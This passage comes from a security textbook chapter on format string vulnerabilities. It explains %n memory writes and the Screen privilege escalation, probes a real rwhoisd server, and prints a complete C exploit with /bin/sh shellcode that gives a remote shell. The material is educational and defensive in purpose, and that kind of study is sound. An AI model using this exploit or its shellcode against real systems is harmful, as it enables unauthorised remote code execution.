with one of the attacker&iexcl;&brvbar;s choice, such as 0 (root&iexcl;&brvbar;s userid).
To exploit this vulnerability, an attacker had to place the address of the saved
userid in memory reachable as an argument by the affected printf function.The
attacker must then create a string that places a %n at the location where a corresponding
address has been placed in the stack.The attacker can offset the target
address by 2 bytes and use the most significant bits of the %n value to zero-out
the userid.The next time a new window is created by the attacker, the Screen
parent process would set the privileges of the child to the value that has replaced
the saved userid.
By exploiting the format string vulnerability in Screen, it was possible for
local attackers to elevate to root privileges.The vulnerability in Screen is a good
example of how some programs can be exploited by format string vulnerabilities
trivially.The method described is largely platform independent as well.
Multiple Writes Method
Now we move on to using multiple writes to locations in memory.This is
slightly more complicated but has more interesting results.Through format string
vulnerabilities it is often possible to replace almost any value in memory with
whatever the attacker likes.To explain this method, it is important to understand
the %n parameter and what gets written to memory when it is encountered in a
format string.
To recap, the purpose of the %n format specifier is to print the number of
characters to be output so far in the formatted string. An attacker can force this
value to be large, but often not large enough to be a valid memory address (for
example, a pointer to shellcode). Because of this reason, it is not possible to
replace such a value with a single %n write.To get around this, attackers can use
successive writes to construct the desired word byte by byte. By using this technique,
a hacker can overwrite almost any value with arbitrary bytes.This is how
arbitrary code is executed.
www.syngress.com
332 Chapter 9 &iexcl;E Format Strings
How Format String Exploits Work
Let&iexcl;&brvbar;s now investigate how format string vulnerabilities can be exploited to overwrite
values such as memory addresses with whatever the attacker likes. It is
through this method that hackers can force vulnerable programs to execute shellcode.
Recall that when the %n parameter is processed, an integer is written to a
location in memory.The address of the value to be overwritten must be in the
stack where the printf function expects a variable corresponding to a %n format
specifier to be. An attacker must somehow get an address into the stack and then
write to it by placing %n at the right location in their malicious format string.
Sometimes this is possible through various local variables or other program-specific
conditions where user-controllable data ends up in the stack.
There is usually an easier and more consistently available way for an attacker
to specify their target address. In most vulnerable programs, the user-supplied
format string passed to a printf function exists in a local variable on the stack
itself. Provided that that there is not too much data as local variables, the format
string is usually not too far away from the stack frame belonging to the affected
printf function call. Attackers can force the function to use an address of their
choosing if they include it in their format string and place an %n token at the
right location.
Attackers have the ability to control where the printf function reads the
address variable corresponding to %n. By using other format specifiers, such as
%x or %p, the stack can be traversed or &iexcl;§eaten&iexcl;&uml;&iexcl;&brvbar; by the printf function until it
reaches the address embedded in the stack by the attacker. Provided that user data
making up the format string variable isn&iexcl;&brvbar;t truncated, attackers can cause printf to
read in as much of the stack as is required, until printf() reads as variables addresses
they have placed in the stack. At those points they can place %n specifiers that
will cause data to be written to the supplied addresses.
NOTE
There cannot be any NULL bytes in the address if it is in the format string
(except as the terminating byte), as the string is a NULL terminated array
just like any other in C. This does not mean that addresses containing
NULL bytes can never be used&iexcl;Xaddresses can often be placed in the
stack in places other than the format string itself. In these cases it may
be possible for attackers to write to addresses containing NULL bytes.
www.syngress.com
Format Strings &iexcl;E Chapter 9 333
For example, an attacker who wishes to use an address stored 32 bytes away
from where a printf() function reads its first variable can use 8 %x format speci-
fiers.The %x token outputs the value, in Base16 character representation, of a 4-
byte word on 32-bit Intel systems. For each instance of %x in the format string,
the printf function reads 4 bytes deeper into the stack for the corresponding variable.
Attackers can use other format specifiers to push printf() into reading their
data as variables corresponding to the %n specifier.
Once an address is read by printf() as the variable corresponding to a %n
token, the number of characters output in the formatted string at that point will
be stored there as an integer.This value will overwrite whatever exists at the
address (assuming it is a valid address and writeable memory).
Constructing Values
An attacker can manipulate the value of the integer that is written to the target
address. Hackers can use the padding functionality of printf to expand the number
of characters to be output in the formatted string.
int main()
{
// test.c
printf("start: %10i end\n",10);
}
In the preceding example, the %10i token in the format string is an integer
format specifier containing a padding value.The padding value tells the printf()
function to use 10 characters when representing the integer in the formatted
string.
[dma@victim server]$./test
start: 10 end
The decimal representation of the number 10 does not require 10 characters,
so by default the extra ones are spaces.This feature of printf() can be used by
attackers to inflate the value written as %n without having to create an excessively
long format string. Although it is possible to write larger numbers, the
values attackers wish to write are often much larger than can be created using
padded format specifiers.
By using multiple writes through multiple %n tokens, attackers can use the
least significant bytes of the integer values being written to write each byte
www.syngress.com
334 Chapter 9 &iexcl;E Format Strings
comprising the target value separately.This will allow for the construction of a
word such as an address using the relatively low numerical values of %n.To
accomplish this, attackers must specify addresses for each write successive to the
first offset from the target by one byte.
By using four %n writes and supplying four addresses, the low-order bits of
the integers being written are used to write each byte value in the target word
(see Figure 9.1).
On some platforms (such as RISC systems), writes to memory addresses not
aligned on a 2-byte boundary are not permitted.This problem can be solved in
many cases by using short integer writes using the %hn format specifier.
Constructing custom values using successive writes is the most serious
method of exploitation, as it allows for attackers to gain complete control over
the process.This can be accomplished by overwriting pointers to instructions
www.syngress.com
Figure 9.1 Address Being Constructed Using Four Writes
Format Strings &iexcl;E Chapter 9 335
with pointers to attacker-supplied shellcode. If an attacker exploits a vulnerability
this way, the flow of program execution can be modified such that the shellcode
is executed by the process.
What to Overwrite
With the ability to construct any value at almost any location in memory, the
question is now &iexcl;§what should be overwritten?&iexcl;&uml; Given that nearly any address can
be used, the hacker has many options.The attacker can overwrite function return
addresses, which is the same thing done when stack-based buffer overflows are
exploited. By overwriting the current function return address, shellcode can be
executed when the function returns. Unlike overflows, attackers are not limited
to return addresses, though.
Overwriting Return Addresses
Most stack-based buffer overflow vulnerabilities involve the attacker replacing the
function return address with a pointer to other instructions.When the function
that has been corrupted finishes and attempts to return to the calling block of
code, it instead jumps to wherever the replacement return address points.The
reason that attackers exploiting stack overflows overwrite return addresses is
because that is usually all that can be overwritten.The attacker does not get a
choice of where their data ends up, as it is usually copied over data neighboring
the affected buffer. Format string vulnerabilities differ in that the write occurs at
the location specified by the address corresponding to the %n specifier.An
attacker exploiting a format string vulnerability can overwrite a function return
address by explicitly addressing one of the target addresses.When the function
returns, it will return to the address constructed by the attacker&iexcl;&brvbar;s %n writes.
There are two possible problems that attackers face when overwriting function
return addresses.The first is situations where a function simply does not
return.This is common in format string vulnerabilities because many of them
involve printing error output.The program may simply output an error message
(with the externally supplied data passed as the format string argument) and call
exit() to terminate the program. In these conditions, overwriting a return address
for anything other than the printf function itself will not work.The second
problem is that overwriting return addresses can be caught by anti-buffer-over-
flow mechanisms such as StackGuard.
www.syngress.com
336 Chapter 9 &iexcl;E Format Strings
Overwriting Global Offset Table
Entries and Other Function Pointers
The global offset table (GOT) is the section of an ELF program that contains
pointers to library functions used by the program. Attackers can overwrite GOT
entries with pointers to shellcode that will execute when the library functions
are called.
Not all binaries being exploited are of the ELF format.This leaves general
function pointers, which are easy targets for programs that use them. Function
pointers are variables that the programmer creates and must be present in the
program for an attacker to exploit them. In addition to this, the function must
be called by reference using the function pointer for the attacker&iexcl;&brvbar;s shellcode to
execute.
Examining a Vulnerable Program
We&iexcl;&brvbar;ll now decide on a program to use to demonstrate the exploitation of a
format string vulnerability.The vulnerability should be remotely exploitable.
Penetration of computer systems by attackers from across the Internet without
any sort of credentials beforehand best demonstrates the seriousness of format
string vulnerabilities.The vulnerability should be real in a program with a wellknown
or respected author, to demonstrate that vulnerabilities can and do exist
in software we may trust to be well written. Our example should also have several
properties that allow us to explore the different aspects of exploiting format
string vulnerabilities, such as outputting the formatted string.
The program we will use as our example is called Rwhoisd. Rwhoisd, or the
RWHOIS daemon, is an implementation of the RWHOIS service.The research
and development branch of Network Solutions, Inc currently maintains the
rwhoisd RWHOIS server and it is published under the GNU Public License.
A classic remotely exploitable format string vulnerability exists in versions
1.5.7.1 of rwhoisd and earlier.The format string vulnerability allows for unauthenticated
clients who can connect to the service to execute arbitrary code.The
vulnerability was first made public through a post to the Bugtraq mailing list (the
message is archived at www.securityfocus.com/archive/1/222756).
To understand the format string vulnerability that was present in rwhoisd,
we must look at its source code.The version we are examining is version
1.5.7.1. At the time of writing, it is available for download at the Web site
www.rwhois.net/ftp.
www.syngress.com
Format Strings &iexcl;E Chapter 9 337
www.syngress.com
Some High Profile Format String Vulnerabilities
Besides the WU-FTPD SITE EXEC format string vulnerability, there have
been several others worth mentioning. Some of these have been used in
worms and mass-hacking utilities and have directly resulted in thousands
of hosts being compromised.
IRIX Telnetd Client-supplied data included in the format
string argument for syslog() allowed for remote attackers to
execute arbitrary code without authenticating. This vulnerability
was discovered by the Last Stage of Delirium. (See
www.securityfocus.com/bid/1572.)
Linux rpc.statd This format string vulnerability was due to
the misuse of syslog() as well and could also be exploited to
gain root privileges remotely. It was discovered by Daniel
Jacobowitz and published on July 16, 2000 in a post to
Bugtraq. (See www.securityfocus.com/bid/1480.)
Cfingerd Another format string vulnerability due to syslog()
discovered by Megyer Laszlo. Successful exploitation can
result in remote attackers gaining control of the underlying
host. (See www.securityfocus.com/bid/2576.)
Multiple Vendor LibC Locale Implementation Jouko
Pynnonen and Core SDI independently discovered a format
string vulnerability in the C library implementations shipped
with several UNIX systems. The vulnerability allowed for
attackers to gain elevated privileges locally by exploiting
setuid programs. (See www.securityfocus.com/bid/1634.)
Multiple CDE Vendor rpc.ttdbserverd ISS X-Force discovered
a vulnerability related to the misuse of syslog() in versions
of the ToolTalk database server daemon shipped with
several operating systems that include CDE. This vulnerability
allows for remote, unauthenticated attackers to execute arbitrary
code on the victim host. (See www.securityfocus.com/
bid/3382.)
Notes from the Underground&iexcl;K
338 Chapter 9 &iexcl;E Format Strings
The vulnerability is present when an error message in response to an invalid
argument to the &iexcl;Vsoa command is to be output.
Error messages are created and output using a standard function called
print_error().This function is called throughout the server source code to handle
reporting of error conditions to the client or user. It accepts an integer argument
to specify the error type as well as a format string and a variable number of arguments.
The source code to this function is in the common/client_msgs.c source file
(path is relative to the directory created when the 1.5.7.1 source tarball is unarchived).
/* prints to stdout the error messages. Format: %error ### message
text, where ### follows rfc 640 */
void
print_error(va_alist)
va_dcl
{
va_list list;
int i;
int err_no;
char *format;
if (printed_error_flag)
{
return;
}
va_start(list);
err_no = va_arg(list, int);
for (i = 0; i < N_ERRS; i++)
{
if (errs[i].err_no == err_no)
{
printf("%%error %s", errs[i].msg);
break;
}
}
format = va_arg(list, char*);
www.syngress.com
Format Strings &iexcl;E Chapter 9 339
if (*format)
{
printf(": ");
}
vprintf(format, list);
va_end(list);
printf("\n");
printed_error_flag = TRUE;
}
The bolded line is where the arguments passed to this function are passed to
vprintf().The format string vulnerability is not in this particular function, but in
the use of it. Print_error() relies on the calling function to pass it a valid format
string and any associated variables.
This function is a listed here because it is a good example of the kind of situation
that leads to exploitable format string vulnerabilities. Many programs have
functions very similar to print_error(). It is a wrapper for printing error messages in
the style of syslog(), with an error code and printf() style variable arguments.The
problem though, as discussed in the beginning of the chapter, is that programmers
may forget that a format string argument must be passed.
We will now look at what happens when a client connects to the service and
attempts to pass format string data to the vprintf() function through the
print_error() wrapper.
To those of you who have downloaded the source code, the offending section
of code is in the server/soa.c source file.The function in which the offending
code exists is called soa_parse_args().The surrounding code has been stripped for
brevity.The vulnerable call exists on line 53 (it is in bold in this listing):
..
auth_area = find_auth_area_by_name(argv[i]);
if (!auth_area)
{
print_error(INVALID_AUTH_AREA, argv[i]);
free_arg_list(argv);
dl_list_destroy(soa_arg);
return NULL;
}
www.syngress.com
340 Chapter 9 &iexcl;E Format Strings
In this instance of print_error(), the variable argv[i] is passed as the format string
argument to print_error().The string will eventually be passed to the vprintf() function
(as previously pointed out).To a source code auditor, this looks suspiciously
exploitable.The proper way to call this function would be:
print_error(INVALID_AUTH_AREA, "%s", argv[i]);
In this example, argv[i] is passed to the print_error() function as a variable corresponding
to the %s (string) token in the format string.The way that this function
is called eliminates the possibility of any maliciously placed format specifiers
in argv[i] from being interpreted/acted upon by the vprintf() called by print_error().
The string argv[i] is the argument to the -soa directive passed to the server by the
client.
To summarize, when a client connects to the rwhoisd server and issues a -soa
command, an error message is output via print_error() if the arguments are invalid.
The path of execution leading up to this looks like this:
1. Server receives -soa argument, and calls soa_directive() to handle the
command.
2. soa_directive() passes the client command to soa_parse_args(), which
interprets the arguments to the directive.
3. soa_parse_args() detects an error and passes an error code and the command
string to the print_error() function as the format string argument.
4. print_error() passes the format string containing data from the client to
the vprintf() function (highlighted in the previous section).
It is clear now that remote clients can have data passed to vprintf() as the
format string variable.This data is the argument to the -soa directive. By connecting
to the service and supplying a malicious format string, attackers can write
to memory belonging to the server process.
Testing with a Random Format String
Having located a possible format string vulnerability in the source code, we can
now attempt to demonstrate that it is exploitable through supplying malicious
input and observing the server reaction.
Programs with suspected format string vulnerabilities can be forced to exhibit
some form of behavior that indicates their presence. If the vulnerable program
outputs the formatted string, their existence is obvious. If the vulnerable program
www.syngress.com
Format Strings &iexcl;E Chapter 9 341
does not output the formatted string, the behavior of the program in response to
certain format specifiers can suggest the presence of a format string vulnerability.
If the process crashes when %n%n is input, it&iexcl;&brvbar;s likely that a memory access
violation occurred when attempting to write to invalid addresses read from the
stack. It is possible to identify vulnerable programs by supplying these format
specifiers to a program that does not output the formatted string. If the process
crashes, or if the program does not return any output at all and appears to terminate,
it is likely that there is a format string vulnerability.
Back to our example, the formatted string is returned to the client as part of
the server error response.This makes the job of an attacker looking for a way into
the host simple.The following example demonstrates the output of rwhoisd that
is indicative of a format string bug:
[dma@victim server]$ nc localhost 4321
%rwhois V-1.5:003fff:00 victim (by Network Solutions, Inc. V-1.5.7.1)
-soa am_%i_vulnerable
%error 340 Invalid Authority Area: am_-1073743563_vulnerable
In this example, connecting to the service and transmitting a format specifier
in the data suspected to be included as a format string variable caused
&iexcl;V1073743563 to be included in the server output where the literal %i should be.
The negative number output is the interpretation of the 4 bytes on the stack
where the printf function was expecting a variable as a signed integer.This is con-
firmation that there is a format string vulnerability in rwhoisd.
Having identified a format string vulnerability both in the program source
code and through program behavior, we should set about exploiting it.This particular
vulnerability is exploitable by a remote client from across a network. It
does not require any authentication and it is likely that it can be exploited by
attackers to gain access to the underlying host.
In cases such as this, where a program outputs a formatted string, it is possible
to read the contents of the stack to aid in successful exploitation. Complete
words of memory can be retrieved in the following manner:
[dma@victim server]$ nc localhost 4321
%rwhois V-1.5:003fff:00 victim (by Network Solutions, Inc. V-1.5.7.1)
-soa %010p
%error 340 Invalid Authority Area: 0xbffff935
-soa %010p%010p
%error 340 Invalid Authority Area: 0xbffff9350x0807fa80
www.syngress.com
342 Chapter 9 &iexcl;E Format Strings
-soa %010p%010p%010p
%error 340 Invalid Authority Area: 0xbffff9350x0807fa800x00000001
-soa %010p%010p%010p%010p
%error 340 Invalid Authority Area: 0xbffff9350x0807fa800x
000000010x08081cd8
In this example, the client retrieved one, two, three, and four words from the
stack.They have been formatted in a way that can be parsed automatically by an
exploit.A well-written exploit can use this output to reconstruct the stack layout
in the server process.The exploit can read memory from the stack until the
format string itself is located, and then calculate automatically the location where
the %n writes should begin in the format string.
%rwhois V-1.5:003fff:00 victim (by Network Solutions, Inc. V-1.5.7.1)
-soa %010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p
%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%c%c%c%c%c
%error 340 Invalid Authority Area: 0xbffff9350x0807fa800x000000010x0807
fc300xbffff8f40x0804f21e0xbffff9350xbffff9350xbffff90c0x0804a6a30xbffff9
35(nil)0xbffff9300xbffffb640xbffff9200x0804eca10xbffff9300xbffff9300x000
000040xbffffb300x0804ef4e0xbffff9300x000000050x616f732d0x31302500010%p
In this example, the client has caused the printf function to search the stack
for variables where the format string is stored.The 010%p characters (in bold) are
the beginning of the client-supplied string, containing the very format specifiers
being processed. If the attacker were to embed an address in their format string at
the beginning of their string, and use a %n token where the %c specifiers are, the
address in the format string would be the one written to.
www.syngress.com
More Stack with Less Format String
It may be the case that the format string in the stack cannot be reached
by the printf function when it is reading in variables. This may occur for
several reasons, one of which is truncation of the format string. If the
format string is truncated to a maximum length at some point in the
Tools & Traps&iexcl;K
Continued
Format Strings &iexcl;E Chapter 9 343
www.syngress.com
program&iexcl;&brvbar;s execution before it is sent to the printf function, the number
of format specifiers that can be used is limited. There are a few ways to
get past this obstacle when writing an exploit.
The idea behind getting past this hurdle and reaching the
embedded address is to have the printf function read more memory
with less format string. There are a number of ways to accomplish this:
 Using Larger Data Types The first and most obvious method
is to use format specifiers associated with larger datatypes,
one of which is %lli, corresponding to the long long integer
type. On 32-bit Intel architecture, a printf function will read 8
bytes from the stack for every instance of this format speci-
fier embedded in a format string. It is also possible to use
long float and double long float format specifiers, though
the stack data may cause floating point operations to fail,
resulting in the process crashing.
 Using Output Length Arguments Some versions of libc support
the * token in format specifiers. This token tells the
printf function to obtain the number of characters that will
be output for this specifier from the stack as a function argument.
For each *, the function will eat another 4 bytes. The
output value read from the stack can be overridden by
including a number next to the actual format specifier. For
example:
The format specifier %*******10i will result in an integer
represented using 10 characters. Despite this, the printf
function will eat 32 bytes when it encounters this format
specifier.
The first use of this method is credited to an individual
known as lorian.
 Accessing Arguments Directly It is also possible to have the
printf function reference specific parameters directly. This can
be accomplished by using format specifiers in the form
%$xn, where x is the number of the argument (in order). This
technique is possible only on platforms with C libraries that
support access of arguments directly.
Having exhausted these tricks and still not able to reach an address
in the format string, the attacker should examine the process to determine
if there is anywhere else in a reachable region of the stack where
addresses can be placed. Remember that it is not required that the
Continued
344 Chapter 9 &iexcl;E Format Strings
Writing a Format String Exploit
Now we move on to actually exploiting a format string vulnerability.The goal of
the attacker, in the case of a program such as rwhoisd, is to force it to execute
instructions that are attacker-supplied.These instructions should grant access to
the attacker on the underlying host.
The exploit will be written for rwhoisd version 1.5.7.1, compiled on an i386
Linux system.This is the program we looked at earlier. As previously mentioned,
to execute shellcode, the exploit must overwrite a value that is referenced by the
process at some point as the address of instructions to be executed. In the exploit
we are developing, we will be overwriting a function return address with a
pointer to shellcode.The shellcode will exec() /bin/sh and provide shell access
to the client.
The first thing that the exploit code must do is connect to the service and
attempt to locate the format string in the stack.The exploit code does this by
connecting to the service and supplying format strings that incrementally return
words from the stack to the exploit.The function in the exploit that does this is
called brute_ force().This function sends format string specifiers that cause
increasing amounts of stack memory to be output by the server.The exploit then
compares each word in the stack output to 0x6262626262, which was placed at
the beginning of the format string.There is a chance that the alignment may be
off; this exploit does not take that possibility into account.
if((*ptr == '0') && (*(ptr+1) == 'x'))
{
memcpy(segment,ptr,10);
segment[10] = '\0';
chekit = strtoul(segment,NULL,16);
if(chekit == FINDME)
www.syngress.com
address be embedded in the format string, just that it is convenient
since it is often near in the stack. Data supplied by the attacker as input
other than the format string may be reachable. In the Screen vulnerability,
it was possible to access a variable that was constructed using the
HOME environment variable. This string was closer in the stack to anything
else externally supplied and could barely be reached.
Format Strings &iexcl;E Chapter 9 345
{
printf("*b00m*: found address #1: %i words away.\n",i);
foundit = i;
return foundit;
}
ptr += 10;
}
The stack output is parsed easily by the exploit due to the use of the %010p
format specifier by the exploit.The %010p formats each word as an 8-character
hex representation preceded by 0x. Each of these string representations of words
can be passed to a C library function such as strtoul and returned as a binary
(unsigned with strtoul()) integer data type.
The goal of this exploit is to execute arbitrary code.To do this, we must overwrite
some value that will be used to reference instructions to be executed. One
such value that can be overwritten is a function return address. As discussed earlier,
stack based buffer overflows usually overwrite these values because the return
address happens to exist on the stack and gets overwritten in an overflow condition.
We will replace a function return address simply because it&iexcl;&brvbar;s convenient.
Our goal is to overwrite the return address stored when print_error() is called.
In the binary version used to write this proof of concept, the address of this
return address on the stack when we can overwrite it is 0xbffff8c8.This address
will serve as our target.
Once the exploit has located the format string in the stack, it must construct
a new format string with the %n specifiers at the right position for the supplied
addresses to be used when writing.This can be accomplished by using format
specifiers such as %x to eat as many words of the stack as are required.This
exploit does this automatically based on the results of the brute_ force() function.
for(i = 0;i<num-1;i++)
{
strncat(str,"%x",2); // work our way to where target is
}
The num variable in the code listed originates from the brute force location
of the format string. Now that the exploit has an address to write to, we must
construct an address at the target location.
www.syngress.com
346 Chapter 9 &iexcl;E Format Strings
The return address must be overwritten using the successive writes we discussed
earlier. In order to construct a 4-byte address, the four writes must occur
at different offsets from the start of the word.The addresses must also be placed in
the format string:
*((long *)(str+8)) = TARGET; // target
*((long *)(str+16)) = TARGET+1;
*((long *)(str+24)) = TARGET+2;
*((long *)(str+32)) = TARGET+3;
str[36] = '\0';
The next step is to write the correct value at each of the offsets.The value
we are writing is the location of shellcode that we have placed in the stack.The
address for this example proof of concept is 0xbffff99d.
To construct this value, we must write the following low-order bytes to each
address in our format string:
TARGET - 9d
TARGET+1 - fn
TARGET+2 - ff
TARGET+3 - bf
This can be accomplished by using the padded format specifiers we discussed
earlier to write the desired low-order bits.
For example, writing %125x might cause the value 0x0000019d to be
written to TARGET.That&iexcl;&brvbar;s perfect for our situation because 9d will be the value
of the byte we want to write. By using padded format specifiers and successive
writes, we can construct the address we want at the target location:
strncat(str,"%227x",5); // padding
strncat(str,"%n",2); // first write
strncat(str,"%92x",4); // padding
strncat(str,"%n",2); // second write
strncat(str,"%262x",5); // padding
strncat(str,"%n",2); // third write
strncat(str,"%192x",5); // padding
strncat(str,"%n",2); // fourth write
It should be noted that the padding value used is highly dependent on the
total number of characters being output in the formatted string. It is possible to
www.syngress.com
Format Strings &iexcl;E Chapter 9 347
determine how many characters to pad automatically if the formatted string is
output.
Once the function return address is overwritten, vfprintf() will return normally
and the shellcode will be executed once print_error() returns. Figure 9.2 demonstrates
successful exploitation of this vulnerability.
The exploit code follows:
// proof of concept
// written for rwhoisd 1.5.7.1 compiled on a Linux/i386 system
//
// overwrites return address at 0xbffff8c8 and replaces it with
// address of shellcode (for this binary)
// the shellcode is based on that which was included
// in an exploit written by 'CowPower'.
// http://www.securityfocus.com/archive/1/222756
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
www.syngress.com
Figure 9.2 Exploitation of the rwhoisd Format String Vulnerability to
Penetrate a Host
348 Chapter 9 &iexcl;E Format Strings
#include <sys/errno.h>
#include <linux/in.h>
extern int errno;
#define FINDME 0x62626262 // we need to find this in the stack
#define TARGET 0xbffff8c8 // the address that we are overwriting
void gen_str(char *str, int found,int target);
unsigned int brute_force(int s, char *str,char *reply);
void session(int s);
int main(int argc, char *argv[])
{
int s;
fd_set fd;
int amt;
struct sockaddr_in sa;
struct sockaddr_in ca;
int where = 0;
char reply[5000]; // receive buffer
char str[1000]; // send buffer
str[0] = '-'; // - directive prefix
str[1] = 's';
str[2] = 'o';
str[3] = 'a';
str[4] = ' '; // padding
str[5] = ' '; // padding
str[6] = ' '; // padding
www.syngress.com
Format Strings &iexcl;E Chapter 9 349
str[7] = ' '; // padding
*((long *)(str+8)) = FINDME; // find me in the stack
str[12] = '\0';
bzero(&ca,sizeof(struct sockaddr_in));
bzero(&sa,sizeof(struct sockaddr_in));
if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror("socket:");
}
if (bind(s,&ca,sizeof(struct sockaddr_in)) < 0)
{
perror("bind:");
}
sa.sin_addr.s_addr = inet_addr("127.0.0.1");
sa.sin_port = htons(4321);
sa.sin_family = AF_INET;
if (connect(s,&sa,sizeof(struct sockaddr_in)) < 0)
{
perror("connect");
}
where = brute_force(s,reply,str); // brute force
gen_str(str,where,TARGET); // generate exploit string
write(s,str,strlen(str)); // send exploit code
while(1)
{
amt = read(s,reply,1);
www.syngress.com
350 Chapter 9 &iexcl;E Format Strings
if (reply[0] == '\n')
break;
}
write(s,"id;\n",4);
amt = read(s,reply,1024);
reply[amt] = '\0';
if ((reply[0] == 'u') && (reply[1] == 'i') && (reply[2] == 'd'))
{
printf("*b00m*: %s\n",reply);
session(s);
}
else
{
printf("exploit attempt unsuccessful..\n");
}
close(s);
exit(0);
}
unsigned int brute_force(int s,char *reply, char *str)
{
// this function searches the stack on the victim host
// for the format string
int foundit = 0;
int amt = 0;
int i = 0;
amt = read(s,reply,500); // read in the header, junk
reply[amt] = '\0';
www.syngress.com
Format Strings &iexcl;E Chapter 9 351
while(!foundit)
{
strncat(str,"%010p",5);
write(s,str,strlen(str)+1);
write(s,"\n",1);
amt = read(s,reply,1024);
if (amt == 0)
{
fprintf(stderr,"Connection closed.\n");
close(s);
exit(-1);
}
reply[amt] = '\0';
amt = 0;
i = 0;
while(reply[amt-1] != '\n')
{
i += amt;
amt = read(s, reply+i, 1024);
if (amt == 0)
{
fprintf(stderr,"Connection closed.\n");
close(s);
exit(-1);
}
}
reply[amt] = '\0';
foundit = find_addr(reply);
}
www.syngress.com
352 Chapter 9 &iexcl;E Format Strings
}
int find_addr(char *str)
{
// this function parses server output.
// searches in words from the stack for
// the format string
char *ptr;
char segment[11];
unsigned long chekit = 0;
int i = 0;
int foundit = 0;
ptr = str + 6;
while((*ptr != '\0') && (*ptr != '\n'))
{
if((*ptr == '0') && (*(ptr+1) == 'x'))
{
memcpy(segment,ptr,10);
segment[10] = '\0';
chekit = strtoul(segment,NULL,16);
if(chekit == FINDME)
{
printf("*b00m*: found address #1: %i words away.\n",i);
foundit = i;
return foundit;
}
ptr += 10;
}
else if ((*ptr == ' ') && (*(ptr+1) == ' '))
www.syngress.com
Format Strings &iexcl;E Chapter 9 353
{
ptr += 10; // 0x00000000
}
i++;
}
return foundit;
}
void gen_str(char *str,int num,int target)
{
// this function generates the exploit string
// it contains the addresses to write to,
// the format specifiers (padding, %n's)
// and the shellcode
int i;
char *shellcode =
"\x90\x31\xdb\x89\xc3\x43\x89\xcb\x41\xb0\x3f\xcd\x80\xeb\x25\x5e"
"\x89\xf3\x83\xc3\xe0\x89\x73\x28\x31\xc0\x88\x43\x27\x89\x43\x2c"
"\x83\xe8\xf5\x8d\x4b\x28\x8d\x53\x2c\x89\xf3\xcd\x80\x31\xdb"
"\x31\xc0\x40\xcd\x80\xe8\xd6\xff\xff\xff/bin/sh";
memset(str+8,0x41,992); // clean the buffer
*((long *)(str+8)) = TARGET; // place the addresses
*((long *)(str+16)) = TARGET+1; // in the buffer
*((long *)(str+24)) = TARGET+2;
*((long *)(str+32)) = TARGET+3;
*((long *)(str+36)) = TARGET+4;
str[36] = '\0';
for(i = 0;i<num-1;i++)
{
www.syngress.com
354 Chapter 9 &iexcl;E Format Strings
strncat(str,"%x",2); // work our way to where target is
}
// the following section is binary dependent
strncat(str,"%227x",5); // padding
strncat(str,"%n",2); // first write
strncat(str,"%92x",4); // padding
strncat(str,"%n",2); // second write
strncat(str,"%262x",5); // padding
strncat(str,"%n",2); // third write
strncat(str,"%192x",5); // padding
strncat(str,"%n",2); // fourth write
strncat(str,shellcode,strlen(shellcode)); // insert the shellcode
strncat(str,"\n",1); // terminate with a newline
}
void session(int s)
{
// this function facilitates communication with a
// shell exec()'d on the victim host.
fd_set fds;
int i;
char buf[1024];
FD_ZERO(&fds);
while(1)
{
FD_SET(s, &fds);
FD_SET(0, &fds);
www.syngress.com
Format Strings &iexcl;E Chapter 9 355
select(s+1, &fds, NULL, NULL, NULL);
if (FD_ISSET(0,&fds))
{
i = 0;
bzero(buf,sizeof(buf));
fgets(buf,sizeof(buf)-2, stdin);
write(s,buf,strlen(buf));
}
else
if (FD_ISSET(s,&fds))
{
i = 0;
bzero(buf,sizeof(buf));
if ((i = read(s,buf,1024)) == 0)
{
printf("connection lost.\n");
exit(0);
}
buf[i] = '\0';
printf("%s",buf);
}
}
}
www.syngress.com
356 Chapter 9 &iexcl;E Format Strings
Summary
Format string vulnerabilities are one of the newest additions to the typical
hacker&iexcl;&brvbar;s bag of tricks.
Techniques hackers are using to exploit bugs in software have become signifi-
cantly more sophisticated in the past couple of years. One of the reasons for this
is that there are simply more hackers, more eyes pouring over and scrutinizing
source code. It&iexcl;&brvbar;s much easier to obtain information about how vulnerabilities and
weaknesses can be exploited and how systems function.
In general, hackers have woken up to the different consequences that programmatic
flaws can have. Printf functions, and bugs due to misuse of them, have
been around for years&iexcl;Xbut it was never even conceived by anyone that they
could be exploited to force execution of shellcode until recently. In addition to
format string bugs, new techniques have emerged such as overwriting malloc
structs; relying on free() to overwrite pointers, and signed integer index errors.
Hackers are more aware of what to look for, and how subtle bugs in software
can be exploited. Hackers are now peering into every program, observing
behavior in response to every possible kind of input. It is now more important
than ever for programmers to be conscious that many kinds of bugs thought to
be harmless can have disastrous consequences if left unfixed. System administrators
and users should be aware that exploitable bugs never considered critical may
lie latent in software they use.
Solutions Fast Track
Understanding Format String Vulnerabilities
Format string vulnerabilities are due to programmers allowing externally
supplied data in printf() function format string variable.
Format string vulnerabilities can allow for an attacker to read and write
to memory.
Format string vulnerabilities can lead to the execution of arbitrary code
through overwriting of return addresses, GOT entries, function pointers,
and so on.
www.syngress.com
Format Strings &iexcl;E Chapter 9 357
Examining a Vulnerable Program
Vulnerable programs typically have printf() calls with variables passed as
the format string argument.
Wrappers for printf() functions often lead to programmers forgetting that
a function accepts format strings and variable arguments.
Misuse of the syslog() function is responsible for a large number of
format string vulnerabilities, many of them high-profile.
Testing with a Random Format String
Programs can be tested for format string vulnerabilities by observing
behavior when format specifiers are supplied in various input.
Supplying %s, %x, %p, and other format specifiers can be used to determine
a format string vulnerability if data from memory is output in place
of them.You can&iexcl;&brvbar;t always tell immediately that there is a format string
vulnerability if the results are not being output.
Observing a process crash due to %n or %s format specifiers supplied as
input indicates that there is a format string vulnerability.
Writing a Format String Exploit
Format string exploits can be written that read memory or write
specific values to memory. Format string vulnerabilities are not
necessarily platform dependent. It is possible to exploit programs such as
Screen without relying on architecture and OS-dependent shellcode.
In format string vulnerabilities where the formatted string is output to
the attacker, memory can be read to aid in exploitation. Exploits can
reconstruct the process stack and automatically determine where to
place %n specifiers.
Format string vulnerabilities can use successive writes to overwrite
targets in memory with arbitrary values.This technique can be used to
write a custom value to almost any location in memory.
On platforms where unaligned writes are not permitted (such as RISC),
the %hn format specifier can be used to write short values on 2-byte
boundaries.
www.syngress.com
358 Chapter 9 &iexcl;E Format Strings
Q: Can nonexecutable stack configurations or stack protection schemes such as
StackGuard protect against format string exploits?
